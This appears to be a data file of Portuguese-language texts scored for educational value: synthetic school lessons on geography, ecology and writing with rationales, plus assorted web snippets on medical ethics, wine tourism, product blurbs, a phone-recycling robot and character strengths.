+"Já parou para pensar de onde vêm as coisas que usamos no dia a dia? A água que bebemos, a madeira da mesa, o algodão da roupa, o metal do celular… Tudo isso vem da natureza! Chamamos de recursos naturais tudo aquilo que retiramos da natureza e que é útil para nós, seres humanos. Eles são a base da nossa vida e do desenvolvimento da sociedade. Imagine um mundo sem água potável, sem árvores para construir casas, sem minerais para fazer computadores. Seria bem diferente, não é?
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+Os recursos naturais podem ser divididos em duas grandes categorias: renováveis e não renováveis. Os recursos renováveis são aqueles que a natureza repõe em um período relativamente curto, como a água, o solo, o ar, a energia solar, a energia eólica (dos ventos) e a biomassa (matéria orgânica). Isso não significa que podemos usá-los de forma ilimitada! A água, por exemplo, embora seja renovável, pode acabar se poluirmos os rios e lagos. Precisamos usar esses recursos com cuidado, pensando nas futuras gerações.
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+Já os recursos não renováveis são aqueles que demoram milhões de anos para se formar, como o petróleo, o carvão mineral, o gás natural e os minerais metálicos (ferro, alumínio, cobre, etc.). Uma vez que são consumidos, não podem ser repostos em um tempo útil para nós. A exploração desses recursos gera impactos ambientais significativos, como a destruição de florestas, a poluição do ar e da água e o aumento do efeito estufa. É por isso que é tão importante buscar alternativas e usar esses recursos com responsabilidade, como reciclar e economizar energia.
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+O Brasil é um país rico em recursos naturais. Temos grandes reservas de água doce, uma enorme diversidade de plantas e animais, minerais abundantes e um grande potencial para a geração de energia renovável. Mas essa riqueza também traz responsabilidades. Precisamos proteger nossos recursos naturais, garantindo que sejam utilizados de forma sustentável, ou seja, sem comprometer o futuro do nosso planeta. O que você pode fazer para ajudar? Pequenas atitudes no dia a dia, como economizar água e energia, separar o lixo para reciclagem e plantar árvores, fazem toda a diferença! Pense nisso: cada um fazendo a sua parte, podemos construir um futuro mais verde e próspero para todos. Que tal começar agora mesmo?",Geografia,Recursos naturais,anos finais (6º ao 9º ano),"O trecho apresenta informações básicas e relevantes sobre recursos naturais, categorizando-os em renováveis e não renováveis. Ele introduz conceitos importantes para o currículo escolar do ensino fundamental, como a importância da sustentabilidade e o impacto das ações humanas no meio ambiente. O texto é coerente, apresenta exemplos práticos e incentiva a reflexão sobre o consumo consciente e a preservação dos recursos naturais. O estilo de escrita é claro e acessível, tornando o conteúdo adequado para diferentes faixas etárias dentro do ensino fundamental.",5,1.0
+"Olá, pequenos exploradores! Já pararam para pensar onde vivem todos os bichinhos, as árvores gigantes e até nós, os humanos? Vivemos em um lugar chamado meio ambiente! Ele é como uma casa gigante que abriga tudo e todos, e por isso precisamos cuidar muito bem dele.
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+O meio ambiente é formado por tudo o que existe ao nosso redor: o ar que respiramos, a água que bebemos, o solo onde plantamos, as florestas com seus animais e plantas, os oceanos com seus peixes coloridos, e até as cidades onde moramos. Tudo está conectado! As plantas precisam do sol e da água para crescer, os animais precisam das plantas para se alimentar, e nós precisamos de todos eles para viver bem. Imagine que o meio ambiente é como um time de futebol: cada um tem sua função e todos precisam trabalhar juntos para o time vencer!
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+A ecologia é a ciência que estuda essa casa gigante e como todos os seres vivos interagem uns com os outros e com o ambiente em que vivem. Os ecologistas, que são os cientistas que estudam ecologia, nos ajudam a entender como podemos proteger a natureza. Eles são como os detetives da natureza, sempre procurando pistas para solucionar os problemas ambientais.
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+Mas por que é tão importante cuidar do meio ambiente? Imagine que você tem um jardim lindo, cheio de flores e borboletas. Se você jogar lixo nesse jardim, ele vai ficar feio e as flores vão morrer, não é mesmo? O mesmo acontece com o nosso meio ambiente! Quando poluímos o ar com fumaça, jogamos lixo nos rios ou desmatamos as florestas, estamos machucando a nossa casa e prejudicando todos os seres vivos. Poluição é como uma sujeira que deixa o meio ambiente doente.
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+Existem muitas coisas que podemos fazer para ajudar a proteger o meio ambiente. Podemos economizar água ao escovar os dentes, apagar as luzes quando saímos de um cômodo, plantar árvores, separar o lixo para reciclagem e não jogar lixo nas ruas. Reciclar é como dar uma nova vida para o lixo! Aquelas garrafas plásticas, latas de refrigerante e jornais velhos podem se transformar em novos produtos, economizando recursos naturais e energia. Pequenas ações, quando feitas por muitas pessoas, fazem uma grande diferença!
+
+Que tal começarmos agora mesmo a cuidar da nossa casa, o meio ambiente? Observe o mundo ao seu redor e pense em como você pode contribuir para um futuro mais verde e feliz para todos os seres vivos. Lembre-se, cada um de nós é um pedacinho importante desse time da natureza! Você já pensou em como você pode ajudar a proteger os animais da sua região? Ou como você pode incentivar seus amigos e familiares a reciclarem mais? O futuro do nosso planeta está em nossas mãos, e cada pequena ação conta!",Ciências,Meio ambiente e ecologia,anos iniciais (1º ao 5º ano),"O trecho apresenta informações básicas sobre o meio ambiente de forma acessível para crianças, introduzindo conceitos como ecologia e poluição. Incentiva ações práticas de preservação ambiental, como economia de água e reciclagem, adaptadas ao público infantil. A linguagem é clara e o texto é coerente, tornando-o adequado para uso educacional nos anos iniciais do ensino fundamental. O texto não possui elementos complexos ou informações supérfluas.",5,1.0
+"Encontros das entidades médicas: ações focam objetivos comuns em benefício da classe (JC impresso pág. 14)
+BALANÇO 4
+Fóruns regulamentadores e programas Alerta Médico via web foram destaques (JC impresso pág. 15)
+BALANÇO 5
+Simpósios, congressos, lançamentos de publicações: foram muitos os eventos nos últimos 15 meses (JC impresso pág. 16)
+BALANÇO 6
+Jornal, revista, portais: comunicação espelha intensa atividade do Conselho (JC impresso pág. 17)
+ALERTA ÉTICO
+Alerta Ético: esclareça suas dúvidas sobre Aids e Sigilo (JC impresso pág. 18)
+GERAL
+Iamspe: negociações podem resultar na recuperação dos cargos desonerados (JC impresso pág. 19)
+GALERIA DE FOTOS
+Edição 238 - 06/2007
+ALERTA ÉTICO
+Alerta Ético: esclareça suas dúvidas sobre Aids e Sigilo (JC impresso pág. 18)
+Aids e sigilo
+A dúvida do colega pode ser a sua! Confira as análises realizadas pelo Cremesp para prevenir falhas éticas causadas por mera desinformação
+1) Doador de sangue tem parceiro que pertence a grupo “de risco” para a Aids. Posso orientar o primeiro a não doar, sem quebrar o sigilo?
+Casal comparece a banco de sangue e, durante a triagem clínica, realizada de maneira individual, um dos parceiros revela comportamento de risco, sendo temporariamente rejeitado como doador. O outro é aprovado e realiza a doação de sangue. Em circunstâncias normais, por apresentar triagem sorológica negativa, receberia a “carteirinha de doador” – o que o tornaria apto a doações futuras. Como orientar esse doador sobre eventuais riscos da sua doação, sem quebrar o sigilo médico resultante da entrevista com o outro paciente?
+Reconhecemos que se trata de situação bastante delicada: se por um lado há a necessidade de preservação dos pacientes que vão receber o sangue doado, existe também a preocupação de não se quebrar o sigilo profissional que tanto se preza no exercício da profissão médica.
+A primeira atitude coerente corresponde a fazer o possível para convencermos o parceiro pertencente ao grupo “de risco”, a ser sincero com seu comunicante sexual, propiciando eventual ação preventiva àquele.
+Caso não se tenha sucesso nesta empreitada – e desde logo acreditamos que não é difícil que isto aconteça – entendemos que o sangue do doador poderia ser utilizado, desde que seus testes sejam negativos (e também o do parceiro de risco).
+Confira a íntegra do Parecer nº 21.117/00
+2) Como provar que esgotei todos os meios para convencer portador do HIV, identificado por doação de sangue, a revelar condição a parceiro sexual?
+Também em relação a eventual resultado positivo para a Aids, obtido após triagem realizada por doação de sangue: como o médico prova, no caso de um processo judicial ou ético, que esgotou “todas as formas idôneas” para convencer o doador/paciente com sorologia positiva para HIV ou Hepatite B a revelar esta condição ao seu parceiro sexual? Deve pedir a seu paciente que assine um documento que demonstre que lhe foi solicitado revelar ao seu parceiro seu estado de portador?
+A resposta é sim. Nesse documento deverá estar escrito que o médico esgotou seu poder de convencimento para que o resultado fosse revelado ao parceiro (a) e o documento só deverá existir se o paciente já de antemão se negar a contar ao seu parceiro (a).
+Lembrando: se o médico tiver conhecimento de que o portador mantém comportamentos que colocam terceiros em risco, é seu dever, por justa causa, quebrar o sigilo no intuito de proteger o (a) outro (a).
+Veja também a íntegra do Parecer nº 8784/01
+3) Médico pode liberar remédio antiaids a terceiros, quando o paciente está sob tutela do Estado?
+Infectologista solicita esclarecimento sobre como proceder no caso de paciente soropositivo para o HIV recolhido no sistema prisional, em uso de terapia anti-retroviral, que, por não poder comparecer à consulta, pede à sua mãe que o substitua no momento de buscar a receita e o remédio.
+É indiscutível: sempre que o médico solicitar, é necessária a presença do paciente à consulta. Porém, especificamente no tocante à liberação de...",original,original,original,original,4,0.8
+"A meio caminho entre Évora e Reguengos de Monsaraz encontramos uma das seculares empresas vitivinícolas nacionais. A Ervideira, que produz vinho desde 1880, aposta no enoturismo, na adega e nas WineShops que tem nas duas cidades, o que lhe valeu, já pela segunda vez, a distinção de Excelência do TripAdvisor.
+A Adega recebeu cerca de 30.000 visitantes em 2015, “um número que superou as nossas expetativas”. Os enoturistas portugueses são claramente a maioria, mas também houve espanhóis, franceses, brasileiros, e outros curiosos do vinho, ultrapassando as 40 nacionalidades. Ali, os visitantes podem provar os vinhos e, sob marcação, visitar as vinhas e os outros espaços de produção dos néctares da Ervideira, bem como em alturas específicas, como as vindimas, usufruir de programas especiais.
+O certificado de Excelência do TripAdvisor que a empresa recebeu pelos serviços prestados na Adega Ervideira, é baseado nas avaliações feitas no site pelos visitantes e clientes do espaço, e é atribuído apenas quando se verificam apreciações consistentemente excecionais.
+Para Duarte Leal da Costa, “este reconhecimento é para nós uma fonte de orgulho, pois temos como objetivo receber ‘Muito Bem’ e isso é comprovado pela satisfação dos clientes perante as experiências que viveram nas nossas lojas, nomeadamente na Adega”. O responsável acrescenta que “para nós, é da maior importância que os visitantes destes espaços possam não só provar os vinhos mas também experienciar um pouco daquilo que é a produção dos nossos vinhos bem como saiam com o sentimento de aprenderam mais sobre os vinhos. Ficamos muitíssimo satisfeitos por saber que o balanço destas visitas é tão positivo”.
+O produtor alentejano tem um portfólio bastante amplo, com sete marcas e diversas gamas, pelo que “o consumidor pode encontrar um bom vinho Ervideira para cada momento”, garante o diretor executivo. Destes vinhos escolhemos alguns dos mais emblemáticos para vos apresentar:
+A Ervideira tem 160 hectares de vinha – 110 hectares na Vidigueira, para os brancos, e 50ha na Vendinha – que dão origem aos vinhos da Ervideira, com base em 12 castas autóctones (que representam mais de 90% da produção), a que se juntam a internacionais Cabernet Sauvignon e a Syrah.
+O diretor executivo da empresa explica que a Ervideira tem procurado sempre inovar e ‘desbravar’ caminho. A mais recente inovação foi submergir nas águas da albufeira de Alqueva – junto à Amieira Marina, empresa que colaborou no projeto – 30.000 garrafas do vinho Conde D’Ervideira reserva de 2014 para completar os oito meses de estágio em barrica. Em outubro de 2015 foram submersas numa zona sem corrente, com ausência total de luz e temperatura constante e em abril um primeiro lote foi lançado no mercado.",original,original,original,original,1,0.2
+"Olá, exploradores do conhecimento! Já pararam para pensar na imensidão do nosso Brasil? Nosso país é tão grande e diverso que, para facilitar o estudo e a organização, ele foi dividido em regiões e estados. Mas por que essa divisão é importante? E como ela influencia o nosso dia a dia?
+
+Vamos começar entendendo o que são os estados. Imagine o Brasil como um grande quebra-cabeça, onde cada peça é um estado. Cada estado tem sua própria capital, governo e características únicas, como a cultura, a economia e o clima. Por exemplo, São Paulo, um dos estados mais populosos, é conhecido por sua forte indústria e vida agitada, enquanto o Amazonas, com sua vasta floresta, é famoso pela biodiversidade e importância para o meio ambiente.
+
+Agora, juntando esses estados, formamos as regiões do Brasil. Temos cinco regiões: Norte, Nordeste, Centro-Oeste, Sudeste e Sul. Cada região possui características em comum, como o clima predominante, os tipos de vegetação e as atividades econômicas mais importantes. A região Nordeste, por exemplo, é famosa pelas belas praias e cultura rica, com festas como o São João. Já a região Sul se destaca pelo clima mais frio e pela forte influência da cultura europeia.
+
+Mas por que dividir o Brasil em regiões? Essa divisão ajuda o governo a entender melhor as necessidades de cada parte do país e a planejar ações para melhorar a vida das pessoas. Por exemplo, se uma região sofre com a seca, o governo pode criar programas para ajudar os agricultores e garantir o acesso à água.
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+A divisão em estados e regiões também influencia a nossa vida de outras formas. Os produtos que consumimos, as músicas que ouvimos e até o jeito de falar podem variar de acordo com a região. Já reparou como o sotaque de um gaúcho é diferente do sotaque de um baiano? E como a culinária mineira é diferente da culinária amazônica?
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+Para finalizarmos, que tal pensarmos um pouco sobre a região onde vivemos? Quais são as principais características do seu estado? Quais são os pratos típicos, as festas populares e os pontos turísticos mais famosos? Conhecer o nosso país é fundamental para valorizar a nossa cultura e construir um Brasil cada vez melhor. Afinal, cada estado e cada região tem uma história para contar e uma riqueza a compartilhar.
+
+Então, da próxima vez que você estiver estudando sobre o Brasil, lembre-se: cada estado e cada região são peças importantes desse grande quebra-cabeça chamado Brasil. Conhecer cada um deles é uma aventura fascinante!",Geografia,Estados e regiões do Brasil,anos finais (6º ao 9º ano),"O trecho apresenta alto valor educacional por introduzir de forma clara e acessível a divisão do Brasil em estados e regiões, explicando sua importância e características. Utiliza linguagem simples e exemplos relevantes, tornando o conteúdo adequado para alunos do ensino fundamental. Aborda aspectos culturais e econômicos, incentivando a reflexão sobre a diversidade do país. Além disso, estimula a valorização da cultura local e o conhecimento do próprio estado e região.",5,1.0
+"O projeto Dream Teens lança o seu próprio livro: Adolescentes, navegação segura por águas desconhecidas, pela Editora Coisas de Ler, 2015.
+Dia 1 de novembro está a chegar, e contamos com a tua participação no Evento Dream Teens!
+Se tens perguntas e dúvidas, como, por exemplo:
+Se chegar mais cedo, o que faço?
+Fala com o teu coordenador, que ele saberá responder!
+És Dreamer? Este vídeo é para ti!
+O Clube da Maçã de Alcobaça é gerido pela Associação dos Produtores da Maçã de Alcobaça - APMA, e promove um produto nacional produzido nos concelhos do litoral Oeste - a Maçã de Alcobaça. http://www.clubedamaca.pt
+Dreamers, no dia 1 de novembro venham comer Maçã de Alcobaça no nosso Encontro! (não sabe como? Pergunte ao seu coordenador :)
+Os Dreamers estiveram recentemente reunidos via skype para falarem sobre formas de incentivarem a participação no Projeto. Surgiu a ideia de usarmos este blog de uma forma um pouco diferente… Incluindo a TUA participação! Assim, para além de teres acesso às nossas ideias, sugestões ou projetos desenvolvidos, também terás a oportunidade de nos enviar ideias para temas, debates ou entrevistas que serão depois desenvolvidos pelos Dreamers.
+Se, por outro lado, já tiveres os teus próprios projetos e achares que ainda não tiveste o devido reconhecimento, ficamos à espera de um email teu para o dt.partilhaatuahistoria@sapo.pt !
+Ganhaste recentemente uma prova de equitação? Escreveste um livro? Desenvolveste um projeto a nível das artes? Descobriste cientificamente algo novo? Se tens entre os 11 e os 20 anos, não fiques aí sentado e envia-nos um email com o teu nome, idade, localidade e experiência pela qual passaste!
+Não há melhor maneira de aprendermos do que partilharmos histórias, experiências e, eventualmente, emoções!
+Estamos à distância de um clique dt.partilhaatuahistoria@sapo.pt.
+Fundação Calouste Gulbenkian e a história de um homem que soube usar sua fortuna e poder em benefício da humanidade
+Calouste Gulbenkian era um generoso filantropo. Mantendo a tradição dos seus antepassados, apoiava várias instituições de beneficência arménias, incluindo o hospital S. Pirgiç em Istambul, onde se encontra o jazigo dos seus pais. Grande parte da sua coleção de arte arménia foi deixada ao Museu Arménio em Jerusalém. Mas a sua ação filantrópica não se limitava às Comunidades Arménias. Ao longo da sua vida, Gulbenkian fez doações regulares a uma panóplia de outras boas causas, evitando sempre que possível o reconhecimento público.
+Nascido súbdito arménio do sultão otomano, adquiriu a nacionalidade britânica em 1902 e conservou-a até ao final da sua vida. Contudo, isto não o impediu de prestar serviços diplomáticos tanto ao Império Otomano como ao Império Persa. Depois de três décadas em Londres, a partir de 1918 Gulbenkian passaria a maior parte do seu tempo em Paris, mudando-se para Lisboa em 1942.
+Tenho voz, faço a diferença, utilizo o espaço que me é dado para divulgar e expressar as minhas ideias e o que acredito, e quero que os outros jovens se sintam ouvidos e representados.
+Expressão e Participação, dois direitos por mim adquiridos! Sou um Dreamer. Sonho, faço a diferença e mudo minha realidade.
+Quer saber mais sobre o DREAM TEENS?
+Publicações Aventura Social - 2010 a 2014",original,original,original,original,4,0.8
+"- Indicado para serras mármore, é ideal para corte de madeiras e derivados: madeira dura, madeira macia, placas de compensado, aglomerados, MDF e pisos laminados.
+- Possui borda segmentada com revestimento de carboneto de tungstênio, proporcionando um corte rápido, seguro, sem trancos e vibrações.",original,original,original,original,1,0.2
+"O novo destino ecoturístico do interior baiano, Casa Nova, é um dos pontos mais remotos da Bahia. Situado na divisa com Piauí e Pernambuco, o município possui seu principal povoamento na barranca do Rio São Francisco, enquanto seu grande território se estende sertão adentro, com caatingas, várzeas, chapadas e serras dignas das melhores descrições de…
+O município de Santa Brígida recebeu este nome em 16 de julho de 1817. Até então, ele era conhecido como “Itapicuru de Cima”. A história da cidade começou quando um fidalgo português, Antônio Manoel de Souza, se casou com uma brasileira chamada Brígida. Após a morte da mulher, o fidalgo, que era proprietário de terras,…
+Está localizado no norte da Bahia. Faz limites com os municípios de Paulo Afonso, Glória, Macururé, Chorrochó e Jeremoabo (na Bahia), e com os municípios de Floresta, Belém do São Francisco, Itacuruba e Petrolândia (em Pernambuco). Abriga a tribo de índios Tuxá, que conta hoje com população de 850 índios, que ocupam área de 6.998…",original,original,original,original,2,0.4
+"Um dos destaques do mais recente evento da Apple foi um sistema que não é um iPhone nem um iPad. Trata-se do Liam, o robô criado pela empresa para demonstrar iPhones que chegaram ao fim de sua vida útil. Seu propósito é dar um fim mais digno aos componentes do celular do que um lixão a céu aberto, onde ele irá causar um estrago ambiental gigante graças aos materiais tóxicos.
+O robô é enorme e não tem absolutamente nada de antropomórfico, sendo, na verdade uma grande linha de montagem. Ele conta com 29 braços especializados, cada um fazendo uma tarefa diferente para a desmontagem total. Alguns braços contam com brocas, outros com chaves de fenda e ventosas.
+Um funcionário coloca vários iPhones em uma esteira, que consegue receber até 40 unidades por vez. A primeira parte do processo inclui a remoção da tela do restante da casca traseira. A esteira leva o aparelho para outra parte, onde a bateria é removida. Nesta parte, existe um risco real de que as baterias sejam danificadas ou perfuradas, o que poderia ser perigoso para operadores humanos, mas não para um robô.
+Conforme o desmanche acontece, as peças são coletadas de várias formas diferentes. Os parafusos são sugados por tubos e armazenados separadamente. A bandejinha do cartão SIM é jogada em um balde sob o sistema.
+A desmontagem completa de um iPhone é concluída muito rapidamente, em apenas 11 segundos, enquanto vários aparelhos passam pelo sistema simultaneamente. A empresa espera concluir os trabalhos em 350 iPhones por hora, com 1,2 milhões de unidades desmontadas por ano.
+O processo tem como objetivo separar cada peça, de diferentes materiais, para que o vidro da tela não se mistura com o cobre ou a prata usada nos componentes internos. Depois da desmontagem, estes materiais podem ser vendidos para empresas ou organizações especializadas no reaproveitamento de materiais como níquel, alumínio, cobre, cobalto e tungstênio. Este último metal, usado nos sistemas de vibração dos aparelhos, é especificamente mais importante de ser reciclado, porque ele é considerado um mineral de conflito, minerado na África e costumam financiar conflitos armados na região, especialmente no Congo.
+A empresa espera que o trabalho do Liam também incentive os consumidores a forçar outras empresas a adotarem práticas similares para proteção do meio ambiente, que poderia reduzir a exploração dos recursos naturais, que são descartados sem qualquer cuidado depois que o smartphone perde a utilidade alguns anos depois de ser lançado.",original,original,original,original,4,0.8
+"Virou moda. O termo desenvolvimento sustentável está em tudo que é lugar. Nos relatórios das empresas, no discurso dos ambientalistas, nas teses científicas. É o novo paradigma para uma infinidade de discussões econômicas, políticas, ambientalistas e sociológicas. Mas afinal, o que é isso?
+Uma das definições mais usadas para desenvolvimento sustentável éo desenvolvimento capaz de suprir as necessidades atuais da população, sem comprometer a capacidade de atender as necessidades das futuras gerações. Ou seja, a idéia é crescer sem destruir o ambiente e esgotar os recursos naturais.
+Essa definição, no entanto, é considerada limitada por alguns cientistas já que não aborda outros aspectos como o político e o social. Para entender melhor o que é desenvolvimento sustentável é necessário conhecer um pouco da história de como foi entendido o desenvolvimento anteriormente, como surgiu o termo, as formas como ele pode ser medido e as teorias que ajudaram a criar a expressão. Vamos lá.",original,original,original,original,3,0.6
+"Você já se imaginou como um escritor famoso, criando histórias que encantam e emocionam leitores de todo o mundo? A produção textual é a ferramenta que te permite transformar suas ideias em realidade, expressando seus pensamentos e sentimentos de forma clara e criativa. Mas, como começar? Não se preocupe, vamos juntos desvendar os segredos da escrita! 
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+Primeiramente, é importante entender que escrever não é apenas juntar palavras aleatoriamente. Um bom texto precisa ter um propósito, uma mensagem que você quer transmitir. Imagine que você quer contar sobre suas férias inesquecíveis na praia. O que você quer que as pessoas sintam ao ler seu texto? A alegria de construir castelos de areia, o frescor do mar, a beleza do pôr do sol? Definir seu objetivo é o primeiro passo para uma escrita eficaz. 
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+Depois de definir o objetivo, pense na estrutura do seu texto. Assim como uma casa precisa de alicerces, paredes e telhado, um texto precisa de introdução, desenvolvimento e conclusão. A introdução serve para apresentar o assunto e despertar o interesse do leitor. O desenvolvimento é onde você detalha suas ideias, usando exemplos e argumentos para convencê-lo. E a conclusão é o momento de amarrar todas as pontas, reforçando sua mensagem principal. No caso das suas férias, a introdução poderia ser uma frase chamativa sobre a aventura, o desenvolvimento detalharia os momentos marcantes, e a conclusão poderia ser uma reflexão sobre como essa experiência te transformou. 
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+Agora, vamos falar sobre a importância da linguagem. Use palavras que você conhece e que sejam adequadas ao seu público. Evite gírias e expressões muito informais, a menos que elas tenham um propósito específico. Lembre-se que a clareza é fundamental. Quanto mais fácil for para o leitor entender sua mensagem, mais eficaz será seu texto. Explore sinônimos para deixar a leitura mais interessante e evite repetições desnecessárias. 
+
+E por último, mas não menos importante: revise! A revisão é a etapa crucial para garantir que seu texto esteja impecável. Leia em voz alta, prestando atenção na sonoridade e no ritmo das frases. Verifique se não há erros de ortografia ou gramática. Peça para um amigo ou familiar ler seu texto e dar sua opinião. Aceite as críticas construtivas e use-as para aprimorar sua escrita. Imagine que você escreveu uma receita de bolo, mas esqueceu de mencionar o fermento. A revisão te ajudaria a identificar essa falha e garantir um bolo perfeito! 
+
+A produção textual é uma habilidade que se desenvolve com a prática. Quanto mais você escrever, mais confiante e criativo você se tornará. Então, pegue um caderno, abra o computador e comece a escrever! Quais histórias incríveis você tem para contar ao mundo? Qual mensagem você quer compartilhar? Acredite no seu potencial e deixe sua imaginação fluir! Lembre-se: todos nós podemos ser grandes escritores, basta ter dedicação, paixão e, acima de tudo, a vontade de aprender e se expressar.",Português,Produção textual,anos finais (6º ao 9º ano),"O trecho possui alto valor educacional, adequado para o ensino fundamental. Apresenta informações básicas sobre produção textual (1 ponto), aborda a estrutura de um texto e a importância da linguagem (mais 1 ponto), introduz conceitos importantes do currículo escolar (mais 1 ponto), possui estilo de escrita claro e consistente, exemplificando os conceitos (mais 1 ponto) e oferece insights profundos sobre o assunto, sem apresentar conteúdo complexo ou não educacional (mais 1 ponto).",5,1.0
+"Ryu e Ken em ""Street Fighter 2""
+Um dos maiores clássicos da história dos games vai ganhar uma versão para a telinha. A eOne anunciou nesta sexta-feira um acordo para desenvolver, financiar e produzir uma série de televisão de ""Street Fighter 2"". Ainda não existe uma data prevista de estreia.",original,original,original,original,1,0.2
+"Cientistas revelam nova visão do núcleo da Terra ~ Nelson Dantas
+terça-feira, 10 de fevereiro de 2015 17:35 Nelson Dantas Comentários
+Londres, 10 fev (EFE).- Cientistas chineses e americanos realizaram estudos que indicam que o núcleo interno da Terra é uma região sólida composta por duas partes, o que poderia apresentar uma nova informação sobre a origem de nosso planeta, segundo um relatório publicado nesta terça-feira pela revista ""Nature"".
+A equipe de geofísicos acredita que a estrutura dos cristais de ferro seja diferente da que se encontra na parte externa do núcleo interno.
+Desse modo, os especialistas usam os ecos gerados pelos terremotos para estudar o núcleo da Terra mediante a análise da forma em que mudam à medida em que viajam através de nosso planeta.
+A descoberta aponta que o núcleo interno contém cristais de diferente escala, que se formaram em condições distintas e que o nosso planeta pode ter sofrido uma mudança dramática durante esse tempo.
+A esfera central da Terra, que se encontra a mais de 5.000 quilômetros, começou a se solidificar há cerca de um bilhão de anos, e continua crescendo aproximadamente 0,5 milímetro por ano.
+Por enquanto, o modelo proposto neste trabalho precisa contrastar provas para analisar as propriedades sísmicas do núcleo mais profundo da Terra, segundo concluem os especialistas.EFE",original,original,original,original,4,0.8
+"Trocas e Devoluções - Open Clothing | E-shopping de moda masculina.
+Entre em contato conosco através da nossa Central de Atendimento para solicitar a troca ou a devolução da compra. Esta solicitação deverá ser feita em até 07 dias corridos a contar da data do recebimento do produto adquirido em nosso site.
+2. PRODUTO APRESENTOU DEFEITO APÓS O USO:
+Entre em contato conosco através da nossa Central de Atendimento, e relate o defeito/vício apresentado. A solicitação deverá ser feita no prazo máximo de 90 dias a contar da data de recebimento do produto, conforme prevê o CDC (Código de Defesa do Consumidor). O custo de devolução do produto será uma cortesia da Estilo New Old. A avaliação de defeitos será realizada no prazo máximo de até 30 dias após o recebimento do produto pelo site, conforme norma do Código de Defesa do Consumidor.
+3. EMBALAGEM DANIFICADA OU DE ERRO NA ENTREGA:
+Se ao receber o seu produto, constatar que a embalagem está danificada ou violada, ou que houve um erro na entrega, como por exemplo, o envio de pedido diferente do pretendido, você deverá entrar em contato imediatamente através da nossa Central de Atendimento, pelo telefone (11) 8587-7152 Observação: Caso a embalagem esteja avariada o cliente deverá recusar o recebimento.
+4. A TROCA OU DEVOLUÇÃO NÃO SERÃO ACEITAS QUANDO:
+- Não for constatado o defeito relatado pelo cliente; - Não houver a devolução do produto ou se estiver desacompanhado da Nota-Fiscal, caixa e acessórios; - Houver indícios de uso do produto; - Houver indícios de defeito causado propositalmente; - For constatado desgaste natural em decorrência do uso. Nestas hipóteses, o produto será devolvido ao cliente nas mesmas condições e sem aviso prévio.
+5. RESTITUIÇÃO E ESTORNO DE VALORES:
+- Caso sua compra tenha sido realizada através de cartão de crédito, o estorno ocorrerá conforme o procedimento adotado pela Administradora do Cartão do cliente. Para pagamento por boleto bancário, ocorrerá em 7 dias úteis, após o recebimento e análise das condições do(s) produto(s) pelo site Open Clothing - O prazo para restituição / estorno do valor pago ou crédito se inicia-se somente após o recebimento do produto devolvido e análise pelo setor de qualidade.",original,original,original,original,2,0.4
+"O concelho da Lourinhã encontra-se na Região Oeste, com 8 freguesias: Lourinhã e Atalaia; Miragaia e Marteleira; Moita dos Ferreiros; Reguengo Grande; Santa Bárbara; Ribamar; São Bartolomeu dos Galegos e Moledo; e Vimeiro. Com doze quilómetros de costa onde se encontram praias, penhascos e tranquilas baías, que permitem a prática de vários desportos náuticos e atividades aquáticas. Já para o interior do concelho, a paisagem rural permite ter condições para o desenvolvimento de atividades relacionadas com a vida agrícola ou mesmo de lazer no meio natural.
+Determinante, no século XX aproveitou-se as potencialidades da Praia da Areia Branca, e distribuiu-se domiciliariamente água, também se estabeleceu uma rede de iluminação pública, entre outros acontecimentos que permitiram a Lourinhã tornar-se um concelho com equipamentos que proporcionavam uma boa qualidade de vida e bem-estar social.",original,original,original,original,1,0.2
+"Quais são suas forças pessoais? - Educação Emocional Positiva ®
+Miriam novembro 29, 2019 1 comentário Mais
+Na publicação de terça-feira, falamos das virtudes e das forças pessoais. Se você perdeu o post, confira aqui.
+Hoje, portanto, quero elencar as 24 forças pessoais, segmentadas nas seis virtudes.
+Descubra suas forças pessoais em http://viacharacter.org.
+1. Virtude da sabedoria, que inclui as forças pessoais cognitivas
+A curiosidade acerca do mundo ocasiona receptividade às experiências e flexibilidade em relação a questões que não se enquadram em conceitos preestabelecidos.
+As pessoas curiosas gostam e sentem-se estimuladas pela incerteza.
+Além disso, a curiosidade pode ser especifica, global e generalizada.
+Ela se envolve ativamente com a novidade e a absorção passiva de informações. Por outro lado, seu oposto é o rápido desinteresse.
+b. Gosto pela aprendizagem
+Esta força envolve adorar aprender coisas novas, seja em uma sala de aula ou como autodidata.
+Gostar de escola, de leitura, de museus e interessar-se por todas as oportunidades de aprendizagem, sendo especialista em alguns setores, são algumas das consequências de quem tem essa força pessoal.
+Ainda, o conhecimento do indivíduo é valorizado pelos que fazem parte de seu círculo social.
+No entanto, ele gosta de aprender mesmo que não tenha incentivos externos.
+c. Critério/Pensamento crítico/Lucidez
+É muito importante analisar as questões, examinando-as por todos os lados, além de tomar decisões confiando em evidências sólidas e ser capaz de mudar de ideia.
+Critério é o exercício de examinar a informação racional e objetivamente, a serviço do próprio bem, e também do bem dos outros.
+Trata-se de um sinônimo de pensamento crítico, que orienta para a realidade.
+Significa raciocinar de um modo que se favoreça e confirme aquilo em que se acredita.
+Esta é uma parte significativa do traço saudável de não confundir os próprios desejos e necessidades com os fatos da vida.
+d. Habilidade/Originalidade/Inteligência prática/esperteza
+O indivíduo com esta força pessoal, ao desejar algo, é capaz de encontrar um comportamento adequado para atingir o objetivo.
+Raramente ele se contenta em fazer as coisas de maneira convencional.
+Essa força inclui o que é chamado de criatividade, no entanto não se limita às experiências tradicionais do ramo das artes.
+Também pode ser chamada de inteligência prática.
+Entre as forças pessoais, ela é a mais madura, pois é a que mais aproxima o indivíduo do próprio saber.
+Ele tem um modo de ver o mundo que faz sentindo para si e para os outros; os outros recorrem à sua experiência para ajudá-los a resolver e adquirir perspectivas de si mesmos.
+Pessoas sábias são especialistas no que há de mais importante e complicado na vida.
+2. Virtude da coragem, que compreende as forças pessoais emocionais
+a. Bravura/valentia
+Bravura é mais do que audácia diante do fogo, quando o bem-estar físico é ameaçado; não é recuar diante das ameaças, dos desafios, das dores ou das dificuldades.
+Após estudos, estabeleceu-se a distinção entre bravura moral, física e psicológica.
+A pessoa dotada de bravura consegue separar os componentes emocionais e comportamentais do medo, resistindo à resposta de fuga e enfrentando a situação assustadora, apesar do desconforto produzido pelas reações subjetivas e físicas.
+b. Perseverança/Dinamismo/Diligência
+A pessoa dinâmica termina o que começa, assume projetos difíceis e os mantém até o fim, sem perder o bom humor.
+Além disso, é flexível, realista e não é perfeccionista. Faz o que se propõe a fazer com o mínimo de reclamação.
+c. Integridade/Autenticidade/Honestidade
+O indivíduo honesto não apenas diz a verdade, mas vive de maneira genuína e autêntica.
+Além disso, é prático e sem fingimento.
